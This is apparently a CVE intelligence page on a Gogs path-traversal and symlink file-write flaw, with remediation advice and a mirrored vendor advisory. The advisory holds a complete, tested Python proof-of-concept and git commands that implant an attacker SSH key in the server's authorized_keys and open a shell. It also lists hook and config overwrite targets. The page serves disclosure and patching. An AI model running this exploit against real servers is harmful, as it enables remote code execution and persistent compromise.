Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate with repo-write account
-
DeliveryCommit directory symlink (e.g. hijack→~git/.ssh) via git push
-
ExploitUpload file with backslash-crafted multipart filename
-
ExecutionCommit upload, write follows parent symlink
-
PersistImplant key in ~git/.ssh/authorized_keys
-
ImpactSSH in as gogs UID for RCE
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Path canonicalization, traversal prevention
MITRE ATT&CK
2 techniques across 2 tactics: Discovery, Collection The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires an authenticated account with write access to some repository (PR:L) on a Gogs instance running on Linux or macOS ( |
| Impact | This is a genuine high-priority issue, not a high-CVSS-but-low-real-risk case. The vendor-supplied CVSS 4.0 vector (AV:N/AC:L/AT:P/PR:L/UI:N) with VC/VI/VA and SC/SI/SA all High yields 9.0 (Critical), and the technical write-up supports it: network-reachable, low attacker complexity, only low privileges (any repo-write account, which any repo creator holds for their own repo). The AT:P (attack requirement present) honestly captures that the attacker must first commit a directory symlink - but the attacker fully controls that step, so it is a reliable prerequisite rather than a meaningful barrier. A working, tested PoC is published, which materially raises real-world risk. EPSS is not provided and the CVE is not in CISA KEV, so there is no evidence of active exploitation yet; the published exploit code means opportunistic abuse against exposed, internet-reachable Gogs instances is plausible. The main risk-limiting factors are the authenticated write requirement and that Windows hosts are entirely unaffected. Note one nuance to verify: the official patch is the leaf-vs-walk fix (PR #8332), but the advisory also recommends |
| Exploit ScenarioDerived | An attacker who can create a repository on a Linux-hosted Gogs instance (thereby becoming its admin/writer) commits a directory symlink such as |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv3 – Jun 24, 2026
Authenticated arbitrary file write in Gogs (self-hosted Git service) versions below 0.14.3 on Linux/macOS lets a user with repository write access escape the working tree and overwrite any file the gogs UID can touch, escalating to remote code execution. The flaw stems from UploadRepoFiles validating symlinks only on the leaf path while sibling functions correctly walk every component; combined with a crafted multipart filename containing a literal backslash, the write is redirected through a previously committed directory symlink to targets like ~git/.ssh/authorized_keys or <repo>.git/hooks/post-receive. No CISA KEV listing and no EPSS provided, but a detailed, tested proof-of-concept is published in the vendor advisory, so publicly available exploit code exists.
Earlier versions of this analysis (2)
Authenticated arbitrary file write in Gogs self-hosted Git service (versions < 0.14.3 on Linux/macOS) lets a user with repository write access overwrite files anywhere the gogs runtime UID can reach, leading to remote code execution. The flaw stems from UploadRepoFiles checking only the leaf of the upload target for symlinks while its sibling functions walk every path component; an attacker plants a committed directory symlink, then uploads a file whose multipart filename carries a literal backslash that gets normalized to a path separator, redirecting the write through the symlink to targets like ~git/.ssh/authorized_keys or a repo hook script. A detailed, tested proof-of-concept is public (publicly available exploit code exists); no CISA KEV listing or active exploitation is reported, and no EPSS score was provided.
Authenticated remote code execution in Gogs (self-hosted Git service) on Linux and macOS allows any user with repository write access to write arbitrary files anywhere the Gogs process UID can reach, by chaining a committed directory symlink with a crafted multipart upload filename. The UploadRepoFiles function performs only a leaf-level symlink check - unlike its sibling functions - so a backslash-encoded multi-segment filename passes validation, follows a parent symlink planted via a prior git push, and writes attacker-controlled bytes to targets such as ~/.ssh/authorized_keys or bare-repo hook scripts. A fully working proof-of-concept Python exploit exists (tested against Gogs v0.14.2 and HEAD commit d7571322 on Ubuntu 24.04), and the issue is fixed in Gogs v0.14.3. No public exploit identified at time of analysis as confirmed actively exploited (CISA KEV), but the PoC lowers the exploitation bar substantially.
RemediationAI
Vendor-released patch: upgrade to Gogs 0.14.3, which replaces the leaf-only osx.IsSymlink check with the full-path hasSymlinkInPath walker (PR https://github.com/gogs/gogs/pull/8332, commit https://github.com/gogs/gogs/commit/04cb8afbb01d855454e59977a1cdbf522ea1db31; advisory GHSA-89mr-xqfv-758m). If you cannot upgrade immediately, reduce exposure by restricting who holds repository write access (the only required privilege) and by limiting account creation on internet-facing instances, since exploitation needs an authenticated writer. As code-level compensating controls before upgrading, you can backport the advisory's hardening: switch iox.CopyFile to open with O_WRONLY|O_CREATE|O_TRUNC|O_NOFOLLOW to close the lstat-to-write TOCTOU at the syscall layer, and reject any upload name containing / or \ in database.NewUpload after pathx.Clean (browsers strip path components, so legitimate uploads are unaffected - only attacker tooling sends multi-segment names). Operationally, audit ~git/.ssh/authorized_keys, repo .git/hooks/*, app.ini, and the sqlite DB for unexpected modifications, since a successful write may already have planted a persistent foothold that surviving an upgrade.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in go, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Gogs is a lightweight, self-hosted Git service written in Go (CPE pkg:go/gogs.io/gogs). The root cause is CWE-22 (Improper Limitation of a Pathname to a Restricted Directory / path traversal), realized here as a symlink-following arbitrary write. The vulnerable code at internal/database/repo_editor.go:601-612 calls osx.IsSymlink(targetPath), which only lstats the final path component, whereas UpdateRepoFile, DeleteRepoFile, and GetDiffPreview use hasSymlinkInPath (repo_editor.go:120-131) to lstat every component. The exploit hinges on three Go/OS behaviors on Linux: filepath.Base (used by multipart.FileHeader.Filename) treats only / as a separator so backslashes survive; pathx.Clean then runs strings.ReplaceAll(p, "\\", "/"), turning a backslash into a path separator and yielding a multi-segment upload.Name; and iox.CopyFile opens the destination via os.Create (O_RDWR|O_CREATE|O_TRUNC, no O_NOFOLLOW), so the kernel follows a parent directory symlink. Git's default core.symlinks=true on Linux/macOS materializes a committed mode-120000 entry as a real directory symlink, making the parent component point outside the repository.
Know when Python gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Network-reachable with only a repo-write account (PR:L), no user interaction; the write escapes the repo to the host filesystem (S:C) enabling RCE, so C/I/A all High.
Primary rating from Vendor (https://github.com/gogs/gogs).
CVSS VectorVendor: https://github.com/gogs/gogs
Lifecycle Timeline
2DescriptionCVE.org
Summary
(*Repository).UploadRepoFiles checks for symlinks only on the leaf of the upload target (osx.IsSymlink(targetPath)). The siblings UpdateRepoFile, DeleteRepoFile, and GetDiffPreview use hasSymlinkInPath, which lstats every component - UploadRepoFiles is the lone outlier. An attacker with repo-write access plus a multipart upload whose filename contains a literal backslash (preserved by filepath.Base on Linux, then converted to / by pathx.Clean) redirects the write through a previously-committed directory symlink. iox.CopyFile opens the destination with os.Create (no O_NOFOLLOW), so the kernel follows the parent symlink and writes attacker bytes anywhere the gogs UID can write - ~git/.ssh/authorized_keys → SSH foothold, or <repo>.git/hooks/post-receive → next-push RCE.
Windows builds are unaffected: filepath.Base treats \ as a separator (strips the multi-segment trick) and git defaults core.symlinks=false at checkout (committed mode-120000 entries become text files, not real symlinks). Details
The asymmetric check at internal/database/repo_editor.go:601-612:
targetPath := path.Join(dirPath, upload.Name)
if osx.IsSymlink(targetPath) { // ← LEAF-ONLY
return errors.Newf("cannot overwrite symbolic link: %s", upload.Name)
}
if err = iox.CopyFile(tmpPath, targetPath); err != nil { ... }vs. UpdateRepoFile's correct walker at internal/database/repo_editor.go:163:
if hasSymlinkInPath(localPath, opts.OldTreeName) || hasSymlinkInPath(localPath, opts.NewTreeName) {
return errors.New("cannot update file with symbolic link in path")
}hasSymlinkInPath (internal/database/repo_editor.go:120-131) lstats every component; osx.IsSymlink (internal/osx/osx.go:35-41) is os.Lstat mode-bit on the leaf - fine inside the loop, wrong as a single call.
Multi-segment upload.Name reaches the loop because: (1) c.Req.FormFile("file") returns *multipart.FileHeader whose Filename is filepath.Base(filename) - Linux only treats / as separator, so backslashes are preserved; (2) NewUpload calls pathx.Clean (internal/pathx/pathx.go:13-16) which does strings.ReplaceAll(p, "\\", "/") - converting backslashes to forward slashes; (3) upload.Name = "evil/foo" is persisted and joined into path.Join(dirPath, upload.Name). iox.CopyFile at internal/iox/iox.go:24 uses os.Create(dst) = OpenFile(dst, O_RDWR|O_CREATE|O_TRUNC, ...) - no O_NOFOLLOW, kernel follows symlinks in path. Git's default core.symlinks=true on Linux materialises pushed mode-120000 trees as real symlinks at the next UpdateLocalCopyBranch.
Suggested fix
- Replace the leaf check at
repo_editor.go:606withhasSymlinkInPath(localPath, path.Join(opts.TreePath, upload.Name))- the same primitiveUpdateRepoFilealready uses. - Walk
opts.TreePath*before* theos.MkdirAll(dirPath, ...)at line 583 so that pre-existing symlinked components don't letMkdirAllcreate directories outside the repo. - Switch
iox.CopyFile's open toO_WRONLY|O_CREATE|O_TRUNC|O_NOFOLLOW, closing the lstat→write TOCTOU at the syscall layer. - In
database.NewUpload, afterpathx.Clean, refusenamecontaining/or\outright. Browsers strip path components from file inputs; only attacker tooling sends multi-segment values.
PoC
Tested against gogs HEAD d7571322 on Ubuntu 24.04. Reproduces on v0.14.2 (packages renamed osx↔osutil, iox.CopyFile↔com.Copy, identical logic).
Reproduction prerequisites
- gogs ≥ 0.14.0 on Linux/macOS (
runtime.GOOS != "windows"). - Two attacker accounts on the gogs instance with write to a repo
attacker/playground(repo creators are admins of their own repos). git≥ 2.x withcore.symlinks=true(Linux/macOS default).- Python 3 stdlib only -
curl -Fdoes NOT trigger the bug because shell quoting + Go's RFC 2045 quoted-pair parsing both consume the backslash; we build the multipart body byte-exactly.
Why curl alone is unreliable
Bug needs *two* backslash bytes on the wire so Go's mime.ParseMediaType quoted-string rule (\X → X) yields a single \ in the parsed filename, which pathx.Clean then turns into /.
| Shell form | Wire bytes | Go parses to | upload.Name | Triggers? |
|---|---|---|---|---|
-F "...filename=a\b" | a\b | ab | ab | no |
-F "...filename=a\\b" (double quotes) | a\b | ab | ab | no |
-F '...filename=a\\b' (single quotes) | a\\b | a\b | a/b | yes |
The Python below removes the ambiguity.
Step 1 - plant the directory symlink
git clone https://attacker:attacker_password@gogs.example/attacker/playground
cd playground
ln -s /home/git/.ssh hijack
git add hijack && git commit -m 'docs link' && git push origin main
cd ..Bare repo now contains a mode-120000 entry for hijack. Next UpdateLocalCopyBranch materialises <conf.AppDataPath>/tmp/local-r/<repoID>/hijack → /home/git/.ssh.
Step 2 - upload + commit
Save as poc.py:
#!/usr/bin/env python3
"""PoC for gogs UploadRepoFiles parent-symlink → arbitrary file write."""
import http.client, ssl, json, re, urllib.parse
from http.cookies import SimpleCookie
GOGS_HOST = 'gogs.example'
USERNAME = 'attacker'
PASSWORD = 'attacker_password'
REPO_OWNER = 'attacker'
REPO_NAME = 'playground'
BRANCH = 'main'
PUBKEY = 'ssh-ed25519 AAAA...attacker_pubkey... attacker@laptop\n'
ctx = ssl.create_default_context()
# set to None for plain HTTP / port 3000
def conn():
if ctx is None:
return http.client.HTTPConnection(GOGS_HOST, 3000)
return http.client.HTTPSConnection(GOGS_HOST, 443, context=ctx)
cookies = {}
def update_cookies(resp):
for hdr in resp.msg.get_all('Set-Cookie') or []:
for name, morsel in SimpleCookie(hdr).items():
cookies[name] = morsel.value
def cookie_header():
return '; '.join(f'{k}={v}' for k, v in cookies.items())
def get_csrf(html):
return re.search(r'name="_csrf"\s+(?:value|content)="([^"]+)"', html).group(1)
# 1. GET /user/login → session cookie + CSRF
c = conn(); c.request('GET', '/user/login')
r = c.getresponse(); update_cookies(r)
csrf_token = get_csrf(r.read().decode())
# 2. Submit credentials
c = conn()
c.request('POST', '/user/login',
body=urllib.parse.urlencode({'_csrf': csrf_token, 'user_name': USERNAME, 'password': PASSWORD}),
headers={'Content-Type': 'application/x-www-form-urlencoded',
'Cookie': cookie_header(), 'X-CSRF-Token': csrf_token})
r = c.getresponse(); r.read(); update_cookies(r)
assert r.status in (302, 303), f'login failed: {r.status}'
# 3. Refresh CSRF for the logged-in session
c = conn()
c.request('GET', f'/{REPO_OWNER}/{REPO_NAME}', headers={'Cookie': cookie_header()})
r = c.getresponse(); html = r.read().decode(); update_cookies(r)
csrf_token = get_csrf(html)
# 4. Hand-built multipart with literal "\\" (two backslash bytes) in filename.
# Wire form: filename="hijack\\authorized_keys"
boundary = '----poc-' + 'x' * 16
filename_on_wire = r'hijack\\authorized_keys'
# 23 chars, 2 of them backslashes
body = (
f'--{boundary}\r\n'
f'Content-Disposition: form-data; name="file"; filename="{filename_on_wire}"\r\n'
f'Content-Type: text/plain\r\n\r\n{PUBKEY}\r\n--{boundary}--\r\n'
).encode()
c = conn()
c.request('POST', f'/{REPO_OWNER}/{REPO_NAME}/upload-file', body=body, headers={
'Content-Type': f'multipart/form-data; boundary={boundary}',
'Cookie': cookie_header(), 'X-CSRF-Token': csrf_token,
})
r = c.getresponse(); upload_resp = r.read().decode()
print('upload status:', r.status, 'body:', upload_resp)
uuid = json.loads(upload_resp)['uuid']
# 5. Commit the uploaded file at the repo root.
c = conn()
c.request('POST', f'/{REPO_OWNER}/{REPO_NAME}/_upload/{BRANCH}/',
body=urllib.parse.urlencode({
'_csrf': csrf_token, 'tree_path': '', 'commit_summary': 'docs link',
'commit_choice': 'direct', 'files': uuid,
}),
headers={'Content-Type': 'application/x-www-form-urlencoded',
'Cookie': cookie_header(), 'X-CSRF-Token': csrf_token})
r = c.getresponse(); r.read()
print('commit status:', r.status)python3 poc.py
# upload status: 200 body: {"uuid":"<UUID>"}
# commit status: 302Step 3 - confirm and use the foothold
sudo cat /home/git/.ssh/authorized_keys
# operator's view
# → ssh-ed25519 AAAA...attacker_pubkey... attacker@laptop
ssh -i ~/.ssh/id_ed25519 git@gogs.example
# attacker's view
# → shell as the gogs runtime UIDServer-side trace
multipart wire bytes: filename="hijack\\authorized_keys"
mime.ParseMediaType → "hijack\authorized_keys" (quoted-pair: \\ → \)
filepath.Base → "hijack\authorized_keys" (Linux: only / is a separator)
pathx.Clean → "hijack/authorized_keys" (\\ → /, then path.Clean)
UploadRepoFiles:
targetPath = <local-r>/<repoID>/hijack/authorized_keys
= /home/git/.ssh/authorized_keys (parent symlink resolved)
osx.IsSymlink(targetPath) = false (leaf doesn't exist as a symlink)
iox.CopyFile → os.Create → OpenFile WITHOUT O_NOFOLLOW (follows the parent symlink)Other reachable targets (same primitive)
| Symlink target | Effect on next event |
|---|---|
/home/git/.ssh | SSH key implant → shell as gogs UID |
<RepoRoot>/<owner>/<repo>.git/hooks | Hook overwrite → arbitrary code on next push |
<RepoRoot>/<owner>/<repo>.git | core.fsmonitor=<cmd> in config → exec on next git op |
~git/custom/conf | Modify app.ini (SCRIPT_TYPE, INSTALL_LOCK, SECRET_KEY) on restart |
| Path of the sqlite DB file | DoS or admin-row replant |
Independent confirmation against the source
git clone https://github.com/gogs/gogs.git && cd gogs
git checkout d7571322
diff <(sed -n '160,170p' internal/database/repo_editor.go) \
<(sed -n '601,615p' internal/database/repo_editor.go)
# Confirm: line 163 calls hasSymlinkInPath; line 606 calls osx.IsSymlink (leaf only)
sed -n '13,16p' internal/pathx/pathx.go
# Confirm: pathx.Clean does ReplaceAll("\\", "/")Impact
- Authenticated RCE as the gogs runtime UID from one repo write. Chain: plant symlink (one git push) → upload with crafted filename → commit → write to
~git/.ssh/authorized_keys→ ssh in. - Lateral targets: gogs sqlite DB (rewrite admin row), bare-repo hook scripts (run on next push by *any* user with
GOGS_AUTH_USER_*env populated),app.iniSECRET_KEY(forges session cookies, decrypts stored 2FA secrets and mirror credentials). - Persistent: symlink and key both survive restart; removing the attacker's repo access does not undo the SSH foothold.
- Linux/macOS only. Windows hosts are unaffected for two independent reasons (
filepath.Baseseparator handling, git'score.symlinksdefault).
Articles & Coverage 1
Executive ViewAI
Gogs versions below 0.14.3 contain a critical privilege escalation vulnerability allowing any user with repository write access to execute arbitrary code on the hosting server. Organizations using self-hosted Gogs are at immediate risk of full system compromise, including unauthorized access to source code, credentials, and other sensitive assets. This threat affects all users granted repository contribution rights.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Request Forgery exploits the automatic credential inclusion behavior of web browsers.
Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Same weakness CWE-22 – Path Traversal
View allVendor StatusVendor
SUSE
Severity: Critical| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
EUVD-2026-39082
GHSA-89mr-xqfv-758m
NVD
CVE.org
EPSS
VulDB
Exploit-DB